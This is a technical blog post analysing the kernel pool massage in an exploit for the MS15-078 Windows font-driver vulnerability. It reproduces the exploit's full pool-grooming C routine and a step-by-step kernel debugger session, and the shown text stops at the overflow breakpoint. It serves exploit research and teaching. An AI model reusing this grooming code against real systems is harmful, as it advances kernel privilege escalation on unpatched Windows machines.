Last updated at Tue, 16 Jan 2024 15:51:46 GMT

Last week, an awesome paper about the MS15-078 vulnerability and it's exploitation was published by Cedric Halbronn. This vulnerability, originally found and exploited by Eugene Ching, already has a work-in-progress module in Metasploit, which you can follow on github.

I recommend checking all the materials above, not only if you enjoy windows kernel exploitation, but also to better understand this blog. In this post, we will focus on the details of the kernel pool massage used in the exploit. We won't cover other details that  are well explained in the other materials.

First of all, a summary of the kernel pool massage is covered in the Cedric's paper:

The original exploit uses CHwndTargetProp objects to spray the pool. It allocates lots of these objects in the kernel pool and frees one of them in the middle. The idea is to put our vulnerable buffer ClassDef1Buf in this hole so it is before a known object (CHwndTargetProp).

This explains what is the target of the pool massage is, but if you look at the implementation, there is code whose purpose is not obvious at all:

VOID DoFengShui() {  
  HINSTANCE hThisInstance;  
  ATOM classAtom;  
  WNDCLASSEXA windowClass;  
  HWND hWnd;  
  HACCEL hAccel;  
  LPACCEL lpAccel;  
  // Strings needed.  
  CHAR winClass[] = { 'w', 'i', 'n', 'c', 'l', 's', '0', '0', '0', '0', 0 };  
  CHAR winClassFmt[] = { 'w', 'i', 'n', 'c', 'l', 's', '%', '0', '4', 'x', 0 };  
  CHAR winTitle[] = { 'w', 'i', 'n', 't', 'i', 't', '0', '0', '0', '0', 0 };  
  CHAR winTitleFmt[] = { 'w', 'i', 'n', 't', 'i', 't', '%', '0', '4', 'x', 0 };  
  
  // Initial setup for pool fengshui.  
  lpAccel = (LPACCEL)malloc(sizeof(ACCEL));  
  SecureZeroMemory(lpAccel, sizeof(ACCEL));  
  
  // Create many accelerator tables, and store them.  
  pAccels = (HACCEL *)VirtualAlloc((LPVOID)(ACCEL_ARRAY_BASE), sizeof(HACCEL)* 5000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);  
  for (INT i = 0; i < 5000; i++) {  
    hAccel = CreateAcceleratorTableA(lpAccel, 1);  
    pAccels[i] = hAccel;  
  }  
  
  // Create window handles, and store them.  
  pHwnds = (HWND *)VirtualAlloc((LPVOID)(HWND_ARRAY_BASE), sizeof(HWND)* 1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);  
  hThisInstance = GetModuleHandleA(NULL);  
  for (INT i = 0; i < 1000; i++) {  
  SecureZeroMemory(&windowClass, sizeof(WNDCLASSEXA));  
  wsprintfA(winClass, winClassFmt, i);  
  wsprintfA(winTitle, winTitleFmt, i);  
  int winTitleWSize = MultiByteToWideChar(CP_UTF8, 0, winTitle, -1, NULL, 0);  
  LPWSTR winTitleW = (LPWSTR)malloc(winTitleWSize * 2);  
  memset(winTitleW, 0, winTitleWSize * 2);  
  MultiByteToWideChar(CP_UTF8, 0, winTitle, -1, winTitleW, winTitleWSize);  
  
  windowClass.cbSize = sizeof(WNDCLASSEXA);  
  windowClass.style = CS_HREDRAW | CS_VREDRAW;  
  windowClass.lpfnWndProc = (WNDPROC)WndProc;  
  windowClass.hInstance = hThisInstance;  
  windowClass.hIcon = NULL;  
  windowClass.hCursor = NULL;  
  windowClass.hbrBackground = (HBRUSH)COLOR_WINDOW;  
  windowClass.lpszMenuName = NULL;  
  windowClass.lpszClassName = winClass;  
  classAtom = RegisterClassExA(&windowClass);  
  hWnd = CreateWindowEx(0, MAKEINTATOM(classAtom), winTitleW, WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, hThisInstance, NULL);  
  
  if (hWnd) {  
       pHwnds[i] = hWnd;  
    }  
    else {  
      break;  
    }  
  }  
  
  // Create holes in the series of accelerator tables.  
  for (INT i = 3600; i < 4600; i += 2) {  
    DestroyAcceleratorTable(pAccels[i]);  
  }  
  
  // Fill the holes with with DCompositionHwndTarget(s).  
  // (at this point we have a series of alternating DCompositionHwndTarget objects)  
  for (INT i = 0; i < 500; i++) {  
    MyCreateDCompositionHwndTarget(pHwnds[i], 0, DCOM_ARRAY_BASE + i * 4);  
  }  
  
  // Create "adjacent" holes (to the previous holes) in the series of  
  // accelerator tables.  
  for (INT i = 3601; i < 4601; i += 2) {  
    DestroyAcceleratorTable(pAccels[i]);  
  }  
  
  // Fill the holes with with DCompositionHwndTarget(s).  
  // (at this point we have a contiguous series of DCompositionHwndTarget objects)  
  for (INT i = 500; i < 1000; i++) {  
    MyCreateDCompositionHwndTarget(pHwnds[i], 0, DCOM_ARRAY_BASE + i * 4);  
  }  
  
  // Create some holes in the contiguous series of DCompositionHwndTarget objects,  
  // that we insert the vulnerable object into.  
  for (INT i = 400; i < 405; i++) {  
    MyDestroyDCompositionHwndTarget(pHwnds[i], 0);  
  }  
}  

To better understand this, let's walk through a debugging session with the code above, and then answer some questions about the results observed in the debug journey. I hope this will help you to better understand the massage technique used in the original exploit.

A debugging session

In this section we are going to debug the pool massage, trying to understand better the memory state after every step:

  1. Create many accelerator tables.
  2. Create holes in the series of accelerator tables.
  3. Fill the holes with with DCompositionHwndTarget's
  4. Create "adjacent" holes (to the previous holes) in the series of accelerator tables
  5. Fill the holes with with DCompositionHwndTarget(s).
  6. Create some holes in the contiguous series of DCompositionHwndTarget objects
  7. Insert the vulnerable object into one of the holes above (it's not exactly about the massage, but helps to understand everything).

For every step, we will highlight the responsible code snippet, and then review the resulting session paged pool.

(1) Create many accelerator tables.

  • The code:
pAccels = (HACCEL *)VirtualAlloc((LPVOID)(ACCEL_ARRAY_BASE), sizeof(HACCEL)* 5000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);  
for (INT i = 0; i < 5000; i++) {  
  hAccel = CreateAcceleratorTableA(lpAccel, 1);  
  pAccels[i] = hAccel;  
}  
  • A summary of the allocations in the session paged pool:
kd> !poolused 0x8 Usac  
.  
Sorting by Session Tag  
               NonPaged                  Paged  
Tag     Allocs         Used     Allocs         Used  
Usac         0            0       5009       321472 USERTAG_ACCEL , Binary: win32k!_CreateAcceleratorTable  
TOTAL         0            0       5009       321472  
 
  • A detailed view of the allocations:
kd> !poolfind Usac 0x4  
  
Scanning large pool allocation table for Tag 'Usac' (ffffe00008aff000 : ffffe00008b05000)  
  
unable to get nt!MmNonPagedPoolStart  
unable to get nt!MmSizeOfNonPagedPoolInBytes  
  
Searching SessionPaged pool (fffff90140000000 : fffff9213fffffff) for Tag 'Usac'  
  
*fffff901400bdd30 size:   40 previous size:   50  (Allocated) Usac Process: 49aad7b301bcdec2  
*fffff901400bdd70 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2  
*fffff901400bddb0 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2  
*fffff901400ec390 size:   40 previous size:   20  (Allocated) Usac Process: 49aad7b301bcdec2  
*fffff901401010c0 size:   40 previous size:   c0  (Allocated) Usac Process: 49aad7b301bcdec2  
*fffff90140101100 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2  
*fffff9014010f290 size:   80 previous size:  290  (Allocated) Usac Process: 49aad7b3024b1ec2  
*fffff901401d8390 size:   40 previous size:   20  (Allocated) Usac Process: 49aad7b301bcdec2  
*fffff901401d84e0 size:   40 previous size:   20  (Allocated) Usac Process: 49aad7b301bcdec2  
*fffff901401da2a0 size:   40 previous size:   d0  (Allocated) Usac Process: 49aad7b301bcdec2  
*fffff901401da2e0 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2  
*fffff901401da320 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2  
*fffff901401daf40 size:   40 previous size:   d0  (Allocated) Usac Process: 49aad7b301bcdec2  
*fffff901401daf80 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2  
*fffff901401dafc0 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2  
.  
.  
.  

See the complete log here.

Every allocation is 0x40 bytes (including the pool header and the alignment). Once defragmentation ends and new pages are allocated, we can observe a pattern in the alignment of the allocations. In the log above:

*fffff90144004000 size:   40 previous size:    0  (Allocated) Usac Process: 49aad7b301bcdec2  
*fffff90144004040 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2  
*fffff90144004080 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2  
*fffff901440040c0 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2  
*fffff90144004100 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2  
*fffff90144004140 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2  
*fffff90144004180 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2  
*fffff901440041c0 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2  
*fffff90144004200 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2  
*fffff90144004240 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2  
*fffff90144004280 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2  
*fffff901440042c0 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2  

(2) Create holes in the series of accelerator tables.

  • The code:
for (INT i = 3600; i < 4600; i += 2) {  
  DestroyAcceleratorTable(pAccels[i]);  
}  
  • A summary of the allocations in the session paged pool, after the deletions.
kd> !poolused 0x8 Usac  
.  
Sorting by Session Tag  
  
               NonPaged                  Paged  
Tag     Allocs         Used     Allocs         Used  
Usac         0            0       4509       289472 USERTAG_ACCEL , Binary: win32k!_CreateAcceleratorTable  
TOTAL         0            0       4509       289472  

This makes sense, just 500 fewer allocations.

  • A summary of the corresponding ListHead (free list), where the freed chunks can be found:
kd> dl ffffd001`8cf85e70 200 2  
ffffd001`8cf85e70  fffff901`44058790 fffff901`440968f0  
fffff901`44058790  fffff901`44058710 ffffd001`8cf85e70  
fffff901`44058710  fffff901`44058690 fffff901`44058790  
fffff901`44058690  fffff901`44058610 fffff901`44058710  
fffff901`44058610  fffff901`44058590 fffff901`44058690  
fffff901`44058590  fffff901`44058510 fffff901`44058610  
fffff901`44058510  fffff901`44058490 fffff901`44058590  
fffff901`44058490  fffff901`44058410 fffff901`44058510  
fffff901`44058410  fffff901`44058390 fffff901`44058490  
fffff901`44058390  fffff901`44058310 fffff901`44058410  
fffff901`44058310  fffff901`44058290 fffff901`44058390  
fffff901`44058290  fffff901`44058210 fffff901`44058310  
fffff901`44058210  fffff901`44058190 fffff901`44058290  
fffff901`44058190  fffff901`44058110 fffff901`44058210  
fffff901`44058110  fffff901`44058090 fffff901`44058190  
fffff901`44058090  fffff901`44059010 fffff901`44058110  
fffff901`44059010  fffff901`44059f90 fffff901`44058090  
fffff901`44059f90  fffff901`44059f10 fffff901`44059010  
fffff901`44059f10  fffff901`44059e90 fffff901`44059f90  
fffff901`44059e90  fffff901`44059e10 fffff901`44059f10  
.  
.  
. 

See the complete log here.

The ListHead keeps 506 chunks, which makes sense. Subtract 0x10 from the pointers in the ListHead to match the allocations in the session paged pool. Example:

AcceleratorTable allocation Freed chunk
fffff90144058600 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2 fffff901`44058610 fffff901`44058590 fffff901`44058690
*fffff90144058640 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2 -
*fffff90144058680 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2 fffff901`44058690 fffff901`44058610 fffff901`44058710
*fffff901440586c0 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2 -
*fffff90144058700 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2 fffff901`44058710 fffff901`44058690 fffff901`44058790
*fffff90144058740 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2 -
*fffff90144058780 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2 fffff901`44058790 fffff901`44058710 ffffd001`8cf85e70
*fffff901440587c0 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2 -

(3) Fill the holes with with DCompositionHwndTarget's

  • The code:
for (INT i = 0; i < 500; i++) {  
  MyCreateDCompositionHwndTarget(pHwnds[i], 0, DCOM_ARRAY_BASE + i * 4);  
}  
  • A summary of the allocations in the session paged pool:
kd> !poolused 0x8  Usdm  
.  
Sorting by Session Tag  
  
               NonPaged                  Paged  
Tag     Allocs         Used     Allocs         Used  
Usdm         0            0        503        32192 USERTAG_DCOMPHWNDTARGETINFO , Binary: win32k!CreateDCompositionHwndTa  
TOTAL         0            0        503        32192  

  • A detailed view of the allocations:
kd> !poolfind Usdm 0x4  
  
Scanning large pool allocation table for Tag 'Usdm' (ffffe00008aff000 : ffffe00008b05000)  
Searching SessionPaged pool (fffff90140000000 : fffff9213fffffff) for Tag 'Usdm'  
  
*fffff9014073d370 size:   40 previous size:  370  (Allocated) Usdm  
*fffff90140791e20 size:   40 previous size:  370  (Allocated) Usdm  
*fffff90144049080 size:   40 previous size:   40  (Allocated) Usdm  
*fffff90144049100 size:   40 previous size:   40  (Allocated) Usdm  
*fffff90144049180 size:   40 previous size:   40  (Allocated) Usdm  
*fffff90144049200 size:   40 previous size:   40  (Allocated) Usdm  
*fffff90144049280 size:   40 previous size:   40  (Allocated) Usdm  
*fffff90144049300 size:   40 previous size:   40  (Allocated) Usdm  
*fffff90144049380 size:   40 previous size:   40  (Allocated) Usdm  
*fffff90144049400 size:   40 previous size:   40  (Allocated) Usdm  
*fffff90144049480 size:   40 previous size:   40  (Allocated) Usdm  
*fffff90144049500 size:   40 previous size:   40  (Allocated) Usdm  
*fffff90144049580 size:   40 previous size:   40  (Allocated) Usdm  
*fffff9014404a000 size:   40 previous size:    0  (Allocated) Usdm  
*fffff9014404a080 size:   40 previous size:   40  (Allocated) Usdm  
*fffff9014404a100 size:   40 previous size:   40  (Allocated) Usdm  
*fffff9014404a180 size:   40 previous size:   40  (Allocated) Usdm  
*fffff9014404a200 size:   40 previous size:   40  (Allocated) Usdm  
.  
.  
.  

See the complete log here.

We can easily observe a correlation between the freed Accelerator Tables and the allocated DCompositionHwndTarget:

Allocated DCompositionHwndTarget Freed AcceleratorTable
*fffff90144049080 size:   40 previous size:   40  (Allocated) Usdm fffff901`44049090  fffff901`4404a010 fffff901`44049110
*fffff90144049100 size:   40 previous size:   40  (Allocated) Usdm fffff901`44049110  fffff901`44049090 fffff901`44049190
*fffff90144049180 size:   40 previous size:   40  (Allocated) Usdm fffff901`44049190  fffff901`44049110 fffff901`44049210
*fffff90144049200 size:   40 previous size:   40  (Allocated) Usdm fffff901`44049210  fffff901`44049190 fffff901`44049290
*fffff90144049280 size:   40 previous size:   40  (Allocated) Usdm fffff901`44049290  fffff901`44049210 fffff901`44049310
*fffff90144049300 size:   40 previous size:   40  (Allocated) Usdm fffff901`44049310  fffff901`44049290 fffff901`44049390
  • Indeed the corresponding ListHead has been emptied:
kd> dl ffffd001`8cf85e70 200 2  
ffffd001`8cf85e70  fffff901`440600b0 fffff901`441220d0  
fffff901`440600b0  fffff901`440601c0 ffffd001`8cf85e70  
fffff901`440601c0  fffff901`440708f0 fffff901`440600b0  
fffff901`440708f0  fffff901`440728f0 fffff901`440601c0  
fffff901`440728f0  fffff901`440968f0 fffff901`440708f0  
fffff901`440968f0  fffff901`440bc750 fffff901`440728f0  
fffff901`440bc750  fffff901`440f30d0 fffff901`440968f0  
fffff901`440f30d0  fffff901`4401a9e0 fffff901`440bc750  
fffff901`4401a9e0  fffff901`440f7b10 fffff901`440f30d0  
fffff901`440f7b10  fffff901`440f9570 fffff901`4401a9e0  
fffff901`440f9570  fffff901`440f10b0 fffff901`440f7b10  
fffff901`440f10b0  fffff901`440f7770 fffff901`440f9570  
fffff901`440f7770  fffff901`441090d0 fffff901`440f10b0  
fffff901`441090d0  fffff901`4410e0d0 fffff901`440f7770  
fffff901`4410e0d0  fffff901`441130d0 fffff901`441090d0  
fffff901`441130d0  fffff901`441150d0 fffff901`4410e0d0  
fffff901`441150d0  fffff901`441170d0 fffff901`441130d0  
fffff901`441170d0  fffff901`441180d0 fffff901`441150d0  
fffff901`441180d0  fffff901`441190d0 fffff901`441170d0  
fffff901`441190d0  fffff901`4411a0d0 fffff901`441180d0  
fffff901`4411a0d0  fffff901`4411b0d0 fffff901`441190d0  
fffff901`4411b0d0  fffff901`4411c0d0 fffff901`4411a0d0  
fffff901`4411c0d0  fffff901`4411d0d0 fffff901`4411b0d0  
fffff901`4411d0d0  fffff901`4411e0d0 fffff901`4411c0d0  
fffff901`4411e0d0  fffff901`4411f0d0 fffff901`4411d0d0  
fffff901`4411f0d0  fffff901`441200d0 fffff901`4411e0d0  
fffff901`441200d0  fffff901`441210d0 fffff901`4411f0d0  
fffff901`441210d0  fffff901`441220d0 fffff901`441200d0  
fffff901`441220d0  ffffd001`8cf85e70 fffff901`441210d0 

(4) Create "adjacent" holes (to the previous holes) in the series of accelerator tables.

  • The code:
for (INT i = 3601; i < 4601; i += 2) {  
  DestroyAcceleratorTable(pAccels[i]);  
} 
  • The ListHead after the deletion of the AcceleratorTable's
kd> dl ffffd001`8cf85e70 200 2  
ffffd001`8cf85e70  fffff901`44058950 fffff901`44116e90  
fffff901`44058950  fffff901`440588d0 ffffd001`8cf85e70  
fffff901`440588d0  fffff901`44058850 fffff901`44058950  
fffff901`44058850  fffff901`440587d0 fffff901`440588d0  
fffff901`440587d0  fffff901`44058750 fffff901`44058850  
fffff901`44058750  fffff901`440586d0 fffff901`440587d0  
fffff901`440586d0  fffff901`44058650 fffff901`44058750  
fffff901`44058650  fffff901`440585d0 fffff901`440586d0  
fffff901`440585d0  fffff901`44058550 fffff901`44058650  
fffff901`44058550  fffff901`440584d0 fffff901`440585d0  
fffff901`440584d0  fffff901`44058450 fffff901`44058550  
fffff901`44058450  fffff901`440583d0 fffff901`440584d0  
fffff901`440583d0  fffff901`44058350 fffff901`44058450  
fffff901`44058350  fffff901`440582d0 fffff901`440583d0  
fffff901`440582d0  fffff901`44058250 fffff901`44058350  
fffff901`44058250  fffff901`440581d0 fffff901`440582d0  
fffff901`440581d0  fffff901`44058150 fffff901`44058250  
fffff901`44058150  fffff901`440580d0 fffff901`440581d0  
fffff901`440580d0  fffff901`44058050 fffff901`44058150  
fffff901`44058050  fffff901`44059fd0 fffff901`440580d0  
fffff901`44059fd0  fffff901`44059f50 fffff901`44058050  
fffff901`44059f50  fffff901`44059ed0 fffff901`44059fd0  

The (mostly) complete log here.

Again, we can easily find a correlation between the freed chunks and the initial allocation of Accelerator Tables:

AcceleratorTable allocation Freed Chunk
fffff90144058940 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2 fffff901`44058950  fffff901`440588d0 ffffd001`8cf85e70
fffff901440589c0 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2 fffff901`440588d0  fffff901`44058850 fffff901`44058950
fffff90144058a40 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2 fffff901`44058850  fffff901`440587d0 fffff901`440588d0
fffff90144058ac0 size:   40 previous size:   40  (Allocated) Usac Process: 49aad7b301bcdec2 fffff901`440587d0  fffff901`44058750 fffff901`44058850

(5) Fill the holes with with DCompositionHwndTarget(s).

  • The code:
for (INT i = 500; i < 1000; i++) {  
  MyCreateDCompositionHwndTarget(pHwnds[i], 0, DCOM_ARRAY_BASE + i * 4);  
}
  • The list of the DCompositionHwndTarget allocations:
kd> !poolfind Usdm 0x4  
  
Scanning large pool allocation table for Tag 'Usdm' (ffffe00008aff000 : ffffe00008b05000)  
Searching SessionPaged pool (fffff90140000000 : fffff9213fffffff) for Tag 'Usdm'  
  
*fffff9014065c9f0 size:   40 previous size:  9f0  (Allocated) Usdm  
*fffff90140668940 size:   40 previous size:  670  (Allocated) Usdm  
*fffff9014073d370 size:   40 previous size:  370  (Allocated) Usdm  
*fffff9014078b1c0 size:   40 previous size:  1c0  (Allocated) Usdm  
*fffff90140791e20 size:   40 previous size:  370  (Allocated) Usdm  
*fffff90144049080 size:   40 previous size:   40  (Allocated) Usdm  
*fffff90144049100 size:   40 previous size:   40  (Allocated) Usdm  
*fffff90144049180 size:   40 previous size:   40  (Allocated) Usdm  
*fffff901440491c0 size:   40 previous size:   40  (Allocated) Usdm  
*fffff90144049200 size:   40 previous size:   40  (Allocated) Usdm  
*fffff90144049240 size:   40 previous size:   40  (Allocated) Usdm  
*fffff90144049280 size:   40 previous size:   40  (Allocated) Usdm  
*fffff901440492c0 size:   40 previous size:   40  (Allocated) Usdm  
*fffff90144049300 size:   40 previous size:   40  (Allocated) Usdm  
*fffff90144049340 size:   40 previous size:   40  (Allocated) Usdm  
*fffff90144049380 size:   40 previous size:   40  (Allocated) Usdm  
*fffff901440493c0 size:   40 previous size:   40  (Allocated) Usdm  
*fffff90144049400 size:   40 previous size:   40  (Allocated) Usdm  
*fffff90144049440 size:   40 previous size:   40  (Allocated) Usdm  
.  
.  
.  

The full log here.

We can easily verify at this point that we have a contiguous series of DCompositionHwndTarget objects:

DCompositionHwndTarget already allocated DCompositionHwndTarget allocated here
*fffff90144049200 size:   40 previous size:   40  (Allocated) Usdm
*fffff90144049240 size:   40 previous size:   40  (Allocated) Usdm
*fffff90144049280 size:   40 previous size:   40  (Allocated) Usdm
*fffff901440492c0 size:   40 previous size:   40  (Allocated) Usdm
*fffff90144049300 size:   40 previous size:   40  (Allocated) Usdm
*fffff90144049340 size:   40 previous size:   40  (Allocated) Usdm
*fffff90144049380 size:   40 previous size:   40  (Allocated) Usdm
*fffff901440493c0 size:   40 previous size:   40  (Allocated) Usdm
Notice that, at this moment, a **contiguous series of DCompositionHwndTargets** have been built in memory.
  • The ListHead has been "emptied" again after the allocations:
kd> dl ffffd001`8cf85e70 200 2  
ffffd001`8cf85e70  fffff901`440728f0 fffff901`441fc0d0  
fffff901`440728f0  fffff901`440968f0 ffffd001`8cf85e70  
fffff901`440968f0  fffff901`440bc750 fffff901`440728f0  
fffff901`440bc750  fffff901`440f30d0 fffff901`440968f0  
fffff901`440f30d0  fffff901`4401a9e0 fffff901`440bc750  
fffff901`4401a9e0  fffff901`440f7b10 fffff901`440f30d0  
fffff901`440f7b10  fffff901`440f9570 fffff901`4401a9e0  
fffff901`440f9570  fffff901`440f10b0 fffff901`440f7b10  
fffff901`440f10b0  fffff901`440f7770 fffff901`440f9570  
fffff901`440f7770  fffff901`441090d0 fffff901`440f10b0  
fffff901`441090d0  fffff901`4410e0d0 fffff901`440f7770  
fffff901`4410e0d0  fffff901`441130d0 fffff901`441090d0  
fffff901`441130d0  fffff901`441150d0 fffff901`4410e0d0  
fffff901`441150d0  fffff901`441170d0 fffff901`441130d0  
fffff901`441170d0  fffff901`441180d0 fffff901`441150d0  
fffff901`441180d0  fffff901`441190d0 fffff901`441170d0  
fffff901`441190d0  fffff901`4411a0d0 fffff901`441180d0  
fffff901`4411a0d0  fffff901`4411b0d0 fffff901`441190d0  
fffff901`4411b0d0  fffff901`4411c0d0 fffff901`4411a0d0  
fffff901`4411c0d0  fffff901`4411d0d0 fffff901`4411b0d0  
fffff901`4411d0d0  fffff901`4411e0d0 fffff901`4411c0d0  
fffff901`4411e0d0  fffff901`4411f0d0 fffff901`4411d0d0  
fffff901`4411f0d0  fffff901`441200d0 fffff901`4411e0d0  
fffff901`441200d0  fffff901`441210d0 fffff901`4411f0d0  
fffff901`441210d0  fffff901`44116e90 fffff901`441200d0  
fffff901`44116e90  fffff901`44193fd0 fffff901`441210d0  
fffff901`44193fd0  fffff901`407cf8e0 fffff901`44116e90  
fffff901`407cf8e0  fffff901`407a94d0 fffff901`44193fd0  
fffff901`407a94d0  fffff901`44101090 fffff901`407cf8e0  
fffff901`44101090  fffff901`407fe4a0 fffff901`407a94d0  
fffff901`407fe4a0  fffff901`422550b0 fffff901`44101090  
fffff901`422550b0  fffff901`42255210 fffff901`407fe4a0  
fffff901`42255210  fffff901`407fa2b0 fffff901`422550b0  
fffff901`407fa2b0  fffff901`441ec0d0 fffff901`42255210  
fffff901`441ec0d0  fffff901`441ee0d0 fffff901`407fa2b0  
fffff901`441ee0d0  fffff901`441ed0d0 fffff901`441ec0d0  
fffff901`441ed0d0  fffff901`441ef0d0 fffff901`441ee0d0  
fffff901`441ef0d0  fffff901`441f00d0 fffff901`441ed0d0  
fffff901`441f00d0  fffff901`441f10d0 fffff901`441ef0d0  
fffff901`441f10d0  fffff901`441f20d0 fffff901`441f00d0  
fffff901`441f20d0  fffff901`441f30d0 fffff901`441f10d0  
fffff901`441f30d0  fffff901`441f40d0 fffff901`441f20d0  
fffff901`441f40d0  fffff901`441f50d0 fffff901`441f30d0  
fffff901`441f50d0  fffff901`441f60d0 fffff901`441f40d0  
fffff901`441f60d0  fffff901`441f70d0 fffff901`441f50d0  
fffff901`441f70d0  fffff901`441f80d0 fffff901`441f60d0  
fffff901`441f80d0  fffff901`441f90d0 fffff901`441f70d0  
fffff901`441f90d0  fffff901`441fa0d0 fffff901`441f80d0  
fffff901`441fa0d0  fffff901`441fb0d0 fffff901`441f90d0  
fffff901`441fb0d0  fffff901`441fc0d0 fffff901`441fa0d0  
fffff901`441fc0d0  ffffd001`8cf85e70 fffff901`441fb0d0  

(6) Create some holes in the contiguous series of DCompositionHwndTarget objects

  • The code:
for (INT i = 400; i < 405; i++) {  
  MyDestroyDCompositionHwndTarget(pHwnds[i], 0);  
}  
  • The ListHead after the freeing:
kd> dl ffffd001`8cf85e70 200 2  
ffffd001`8cf85e70  fffff901`4404dc90 fffff901`407cb0b0  
fffff901`4404dc90  fffff901`4404dc10 ffffd001`8cf85e70  
fffff901`4404dc10  fffff901`4404db90 fffff901`4404dc90  
fffff901`4404db90  fffff901`440968f0 fffff901`4404dc10  
fffff901`440968f0  fffff901`440bc750 fffff901`4404db90  
fffff901`440bc750  fffff901`4401a9e0 fffff901`440968f0  
fffff901`4401a9e0  fffff901`440f7b10 fffff901`440bc750  
fffff901`440f7b10  fffff901`440f9570 fffff901`4401a9e0  
fffff901`440f9570  fffff901`440f10b0 fffff901`440f7b10  
fffff901`440f10b0  fffff901`440f7770 fffff901`440f9570  
fffff901`440f7770  fffff901`441090d0 fffff901`440f10b0  
fffff901`441090d0  fffff901`4410e0d0 fffff901`440f7770  
fffff901`4410e0d0  fffff901`441130d0 fffff901`441090d0  
fffff901`441130d0  fffff901`441150d0 fffff901`4410e0d0  
fffff901`441150d0  fffff901`441170d0 fffff901`441130d0  
fffff901`441170d0  fffff901`441180d0 fffff901`441150d0  
fffff901`441180d0  fffff901`441190d0 fffff901`441170d0  
fffff901`441190d0  fffff901`4411a0d0 fffff901`441180d0  
fffff901`4411a0d0  fffff901`4411b0d0 fffff901`441190d0  
fffff901`4411b0d0  fffff901`4411c0d0 fffff901`4411a0d0  
fffff901`4411c0d0  fffff901`4411d0d0 fffff901`4411b0d0  
fffff901`4411d0d0  fffff901`4411e0d0 fffff901`4411c0d0  
fffff901`4411e0d0  fffff901`4411f0d0 fffff901`4411d0d0  
fffff901`4411f0d0  fffff901`441200d0 fffff901`4411e0d0  
fffff901`441200d0  fffff901`441210d0 fffff901`4411f0d0  
fffff901`441210d0  fffff901`44116e90 fffff901`441200d0  
fffff901`44116e90  fffff901`44193fd0 fffff901`441210d0  
fffff901`44193fd0  fffff901`407cf8e0 fffff901`44116e90  
fffff901`407cf8e0  fffff901`407a94d0 fffff901`44193fd0  
fffff901`407a94d0  fffff901`44101090 fffff901`407cf8e0  
fffff901`44101090  fffff901`407fe4a0 fffff901`407a94d0  
fffff901`407fe4a0  fffff901`422550b0 fffff901`44101090  
fffff901`422550b0  fffff901`42255210 fffff901`407fe4a0  
fffff901`42255210  fffff901`407fa2b0 fffff901`422550b0  
fffff901`407fa2b0  fffff901`441ec0d0 fffff901`42255210  
fffff901`441ec0d0  fffff901`441ee0d0 fffff901`407fa2b0  
fffff901`441ee0d0  fffff901`441ed0d0 fffff901`441ec0d0  
fffff901`441ed0d0  fffff901`441ef0d0 fffff901`441ee0d0  
fffff901`441ef0d0  fffff901`441f00d0 fffff901`441ed0d0  
fffff901`441f00d0  fffff901`441f10d0 fffff901`441ef0d0  
fffff901`441f10d0  fffff901`441f20d0 fffff901`441f00d0  
fffff901`441f20d0  fffff901`441f30d0 fffff901`441f10d0  
fffff901`441f30d0  fffff901`441f40d0 fffff901`441f20d0  
fffff901`441f40d0  fffff901`441f50d0 fffff901`441f30d0  
fffff901`441f50d0  fffff901`441f60d0 fffff901`441f40d0  
fffff901`441f60d0  fffff901`441f70d0 fffff901`441f50d0  
fffff901`441f70d0  fffff901`441f80d0 fffff901`441f60d0  
fffff901`441f80d0  fffff901`441f90d0 fffff901`441f70d0  
fffff901`441f90d0  fffff901`441fa0d0 fffff901`441f80d0  
fffff901`441fa0d0  fffff901`441fb0d0 fffff901`441f90d0  
fffff901`441fb0d0  fffff901`441fc0d0 fffff901`441fa0d0  
fffff901`441fc0d0  fffff901`440610b0 fffff901`441fb0d0  
fffff901`440610b0  fffff901`441dc390 fffff901`441fc0d0  
fffff901`441dc390  fffff901`407cb0b0 fffff901`440610b0  
fffff901`407cb0b0  ffffd001`8cf85e70 fffff901`441dc390  
  • The new entries in the ListHead, belonging to freed DCompositionHwndTarget(s):
fffff901`4404dc90  fffff901`4404dc10 ffffd001`8cf85e70  
fffff901`4404dc10  fffff901`4404db90 fffff901`4404dc90  
fffff901`4404db90  fffff901`440968f0 fffff901`4404dc10  

(7) Insert the vulnerable object into one of the holes above

Let's review the pool at the overflowing memcpy. In the next log, r9 points to the destination buffer. According to our analysis, is one of the chunks belonging to AcceleratorTable's freed on (4).

kd> g  
Breakpoint 0 hit  
ATMFD+0x11e58:  
fffff960`00a58e58 488b4c2470      mov     rcx,qword ptr [rsp+70h]  
kd> !pool r9  
Pool page fffff90144049178 region is Unknown  
